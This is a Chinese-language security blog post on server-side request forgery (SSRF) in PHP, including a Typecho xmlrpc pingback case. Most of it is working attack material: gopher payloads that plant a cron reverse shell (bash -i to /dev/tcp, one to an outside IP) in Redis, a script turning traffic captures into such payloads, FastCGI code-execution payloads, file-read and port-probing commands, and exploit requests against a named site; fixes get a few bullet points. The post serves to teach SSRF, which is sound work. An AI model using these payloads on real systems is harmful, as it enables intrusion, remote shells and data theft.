ssrf详解

0x01 漏洞原因

一、漏洞解释

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤,就可能存在这种服务端请求伪造的缺陷。Google,Facebook,Adobe,baidu,tencent等知名公司都被发现过这种漏洞。攻击者利用ssrf可以实现的攻击主要有5种:

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网web应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5.利用file协议读取本地文件等。

二、常见漏洞代码

ssrf攻击可能存在任何语言编写的应用,我们通过一些php实现的代码来作为样例分析。代码的大部分来自于真实的应用源码。

利用file_get_contents()

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

这段代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

利用fsockopen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

这段代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

利用curl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

使用curl获取数据并保存。

代码来源:

http://www.freebuf.com/articles/web/20407.html

其他漏洞代码

PHP:file_get_contentsfsockopen

Java:org.apache.http.client.methods.HttpGet、java.net.HttpURLConnection

具体情况请看如下连接:

http://www.joychou.org/index.php/web/javassrf.html

发现了一个野生博主:

https://joychou.org/

0x02 SSRF in PHP

一、 漏洞简介

SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

二、 漏洞利用

自从煤老板的paper放出来过后,SSRF逐渐被大家利用和重视起来。

2.1 本地利用

拿PHP常出现问题的cURL举例。

可以看到cURL支持大量的协议,例如file, dict, gopher, http

1
2
3
4
➜ curl -V
curl 7.43.0 (x86_64-apple-darwin15.0) libcurl/7.43.0 SecureTransport zlib/1.2.5
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz UnixSockets

本地利用姿势:

1
2
3
4
5
6
7
8
9
# 利用file协议查看文件
curl -v 'file:///etc/passwd'

# 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'

# 利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

2.2 远程利用

漏洞代码ssrf.php(未做任何SSRF防御)

1
2
3
4
5
6
7
8
9
10
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);

远程利用方式:

1
2
3
4
5
6
7
8
# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'

# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'

# 利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

漏洞代码ssrf2.php

  • 限制协议为HTTP、HTTPS
  • 设置跳转重定向为True(默认不跳转)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

此时,再使用dict协议已经不成功。

1
http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info

三、如何转换成gopher协议

刚一开始看到这个协议,不知道如何转换。希望写点经验给大家,有不对的地方,还望指出。

3.1 redis反弹shell

先写一个redis反弹shell的bash脚本如下:
我不喜欢用flushall,太不友好。

1
2
3
4
5
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

该代码很简单,在redis的第0个数据库中添加key为1,value为\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。

执行脚本命令:

1
bash shell.sh 127.0.0.1 6379

想获取Redis攻击的TCP数据包,可以使用socat进行端口转发。转发命令如下:

1
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

意思是将本地的4444端口转发到本地的6379端口。访问该服务器的4444端口,访问的其实是该服务器的6379端口。

执行脚本

1
bash shell.sh 127.0.0.1 4444

捕获到数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
> 2017/10/11 01:24:52.432446  length=85 from=0 to=84
*3\r
$3\r
set\r
$1\r
1\r
$58\r



*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1



\r
< 2017/10/11 01:24:52.432685 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.435153 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/10/11 01:24:52.435332 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.437594 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/10/11 01:24:52.437760 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.439943 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2017/10/11 01:24:52.443318 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.446034 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2017/10/11 01:24:52.446148 length=5 from=0 to=4
+OK\r

转换规则如下:

  • 如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • \r字符串替换成%0d%0a
  • 空白行替换为%0a

写了个脚本进行转换:tran2gopher.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
python tran2gopher.py socat.log
#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp

结果为:

1
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

需要注意的是,如果要换IP和端口,前面的$58也需要更改,$58表示字符串长度为58个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a,3+51+4=58。如果想换成42.256.24.73,那么$58需要改成$61,以此类推就行。

本地cURL测试是否成功写入:

1
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

返回5个OK

1
2
3
4
5
+OK
+OK
+OK
+OK
+OK

证明应该没有问题。那再检测以下Redis写入的字段和crontab的内容。

  • 检测Redis数据库的字段为"\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n"
  • 检测crontab的内容也没有问题

3.2 攻击FastCGI

3.2.1 利用条件

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断。

https://curl.haxx.se/changes.html#7_45_0

Fixed in 7.45.0 - October 7 2015

gopher: don't send NUL byte

3.2.2 转换为Gopher的EXP

监听一个端口的流量 nc -lvv 2333 > 1.txt,执行EXP,流量打到2333端口

1
python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php

urlencode

1
2
3
4
f = open('1.txt')
ff = f.read()
from urllib import quote
print quote(ff)

得到gopher的EXP

1
%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00

执行EXP

1
curl 'gopher://127.0.0.1:9000/_%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00'

四、漏洞代码

curl造成的SSRF

1
2
3
4
5
6
7
8
9
10
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);

file_get_contents造成的SSRF

1
2
$url = $_GET['url'];;
echo file_get_contents($url);

fsockopen造成的SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}

五、漏洞修复

  • 限制协议为HTTP、HTTPS
  • 禁止30x跳转
  • 设置URL白名单或者限制内网IP

六、Reference

0x03 Typecho SSRF Analysis and Exploit

一、前言

最近,WAF捕获到一条SSRF攻击payload,发现被攻击的域名是一个Typecho的博客系统。然后就去Google了下Typecho SSRF关键字,发现和WordPress一样,xmlrpc也存在同样的SSRF问题。自己博客也是使用Typecho,所以就分析了下。

本文所有测试均在以下测试环境:

  • Typecho 1.0 (14.10.10) 最新Release版本
  • CentOS 7
  • libcurl/7.29.0
  • Redis server v=3.2.10
  • PHP 5.4.16 (fpm-fcgi)

二、漏洞原理

XMLRPC这个接口在Typecho 1.0版本中,默认有该功能,并无设置选项。后面的1.1版本有设置该选项的功能。

XMLRPC里的Pingback协议,很多人可能不知道 Pingback 协议是干嘛的。我在这里简单解释下,这个协议诞生在Web 2.0概念诞生之初,由于在互联网世界各个博客站点之间是独立的存在,而它们之间又经常存在互相引用的情况。作为一个原创博主,我是无法知道我这篇文章被哪些站点引用过的,因此Pingback协议就是为了解决这个问题存在的。

当你在写的文章发表后,如果文中引用了某个链接,系统会自动向那个链接发一个PING,告诉对方我引用了这篇文章,地址是: xxx。对方收到这个PING以后会根据你给的原文地址回去检验一下是否存在这个引用,这就是一次BACK。检验完以后,会把这次引用记录下来,大家经常在Typecho或者WordPress之类博客评论列表里看到的引用记录,就是这么来的。

BACK对原文地址检验的时候,使用了cURL或者socket对原文地址发起网络请求,由于未做任何限制,导致SSRF漏洞。

2.1 代码分析

漏洞URL:http://localhost/action/xmlrpc。POST提交以下Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>
<string>http://127.0.0.1:2222</string>
</value>
</param>
<param>
<value>
<string>joychou</string>
</value>
</param>
</params>
</methodCall>

收到源地址服务器错误这样的错误返回。

代码里搜索源地址服务器错误,发现只有var/Widget/XmlRpc.php文件里有,这就能确定案发现场了。只需要看懂public function pingbackPing($source, $target)函数即可,该函数的$source参数为http://127.0.0.1:2222$target为joychou

先调用Typecho_Http_Client类的get方法,返回 发起HTTP请求的类。如果失败,直接返回错误,整个调用结束。

XmlRpc.php

1
2
3
if (!($http = Typecho_Http_Client::get())) {
return new IXR_Error(16, _t('源地址服务器错误'));
}

get方法代码如下,功能为,从Client/Adapter/目录中,添加两个发起HTTP请求的类,一个是Curl,另一个是Socket。如果Curl可用,就用Curl,否则用fsockopen。

var/Typecho/Http/Client.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function get()
{
$adapters = func_get_args();
if (empty($adapters)) {
$adapters = array();
$adapterFiles = glob(dirname(__FILE__) . '/Client/Adapter/*.php');
foreach ($adapterFiles as $file) {
$adapters[] = substr(basename($file), 0, -4);
}
}
foreach ($adapters as $adapter) {
$adapterName = 'Typecho_Http_Client_Adapter_' . $adapter;
if (Typecho_Common::isAvailableClass($adapterName) && call_user_func(array($adapterName, 'isAvailable'))) {
return new $adapterName();
}
}
return false;
}

回到XmlRpc.php,$http->setTimeout(5)->send($source);该行代码用上面返回的HTTP类调用send方法发起HTTP请求。具体发起请求的代码var/Typecho/Http/Client/Adapter/Curl.php

1
2
3
4
5
6
7
8
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PORT, $this->port);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

由于是cURL造成的SSRF,利用姿势就比较多了。还有Socket.php也会造成SSRF。

2.2 代码整体逻辑

  1. 程序写了两种发起HTTP请求的方式,Curl和fsockopen,Curl如果可用,优先选择使用
  2. 如果cURL返回失败或者返回成功后但状态码不是200,返回源地址服务器错误
  3. 如果cURL返回成功,并且状态码为200,如果没有x-pingback头,返回源地址不支持PingBack,如果有x-pingback头,就继续往下判断。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
try {
$http->setTimeout(5)->send($source);
$response = $http->getResponseBody();
if (200 == $http->getResponseStatus()) {
if (!$http->getResponseHeader('x-pingback')) {
preg_match_all("/<link[^>]*rel=[\"']([^\"']*)[\"'][^>]*href=[\"']([^\"']*)[\"'][^>]*>/i", $response, $out);
if (!isset($out[1]['pingback'])) {
return new IXR_Error(50, _t('源地址不支持PingBack'));
}
}
} else {
return new IXR_Error(16, _t('源地址服务器错误'));
}
} catch (Exception $e) {
return new IXR_Error(16, _t('源地址服务器错误'));
}

三、漏洞利用

3.1 端口探测

所以,可以根据返回码,我们可以来探测端口。

  • 返回源地址服务器错误,端口不开启。
  • 返回源地址不支持PingBack或者其他错误,端口开启。

3.1.1 探测Redis端口

1
curl "https://joychou.org/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://127.0.0.1:6379</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>'

返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>16</int></value>
</member>
<member>
<name>faultString</name>
<value><string>源地址服务器错误</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>

所以,这就很尴尬,php curl对http://127.0.0.1:6379发起请求,返回true,但是状态码返回不是200。导致输出的也是源地址服务器错误。所以应该就只能探测WEB端口了。类似Redis、FastCGI、Struts2就盲打吧…

而且用时间差测试,端口是否有无,时间差几乎一样。

3.1.2 探测Web服务

python开一个2222的Web服务python -m SimpleHTTPServer 2222

payload:

1
curl "https://joychou.org/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://127.0.0.1:2222</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>'

返回源地址不支持PingBack,说明端口开启。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>50</int></value>
</member>
<member>
<name>faultString</name>
<value><string>源地址不支持PingBack</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>

3.2 攻击Redis

EXP中由于带有&字符,需要使用CDATA。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="utf-8"?>

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>
<string><![CDATA[gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/47.89.25.236/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a]]></string>
</value>
</param>
<param>
<value>
<string>joychou</string>
</value>
</param>
</params>
</methodCall>

3.3 攻击FastCGI

3.3.1 利用条件

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断。

https://curl.haxx.se/changes.html#7_45_0

Fixed in 7.45.0 - October 7 2015

gopher: don't send NUL byte

3.3.2 转换为Gopher的EXP

监听一个端口的流量 nc -lvv 2333 > 1.txt,执行EXP,流量打到2333端口

1
python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php

urlencode

1
2
3
4
f = open('1.txt')
ff = f.read()
from urllib import quote
print quote(ff)

得到gopher的EXP

1
%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00

执行EXP

1
curl 'gopher://127.0.0.1:9000/_%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00'

四、修复

4.1 热修复

  • 如果不使用XMLRPC的pingback协议,可将/action/xmlrpc接口用Nginx处理下。if ($uri ~ ^/action/xmlrpc$) {return 403;}
  • WAF拦截

4.2 代码修复

  • 限制协议为HTTP/HTTPS
  • 判断IP是否是内网
  • Curl.php和Socket.php都要修改

修复代码

看了2017 orange在blackhat的那篇文章,PHP的SSRF绕过姿势很多。这个修复代码就至少还能dns rebinding绕过。

有更好的修复方案,欢迎讨论。

最后官方很快给出了修复代码,修复的方式是限制IP为内网IP,并且协议限制为HTTPS/HTTP

五、Reference

来源:

https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247483954&idx=1&sn=350f0bb41e02d436c383386bbdb80ea4&chksm=ec1e321adb69bb0ca0630595e3cb9be2eafdc9680468fefff49020721a5b950c0c535cfb1a30&scene=21#wechat_redirect

Linux环境下Weblogic SSRF漏洞修复

转自: https://joychou.org/web/phpssrf.html

-------------本文结束感谢您的阅读-------------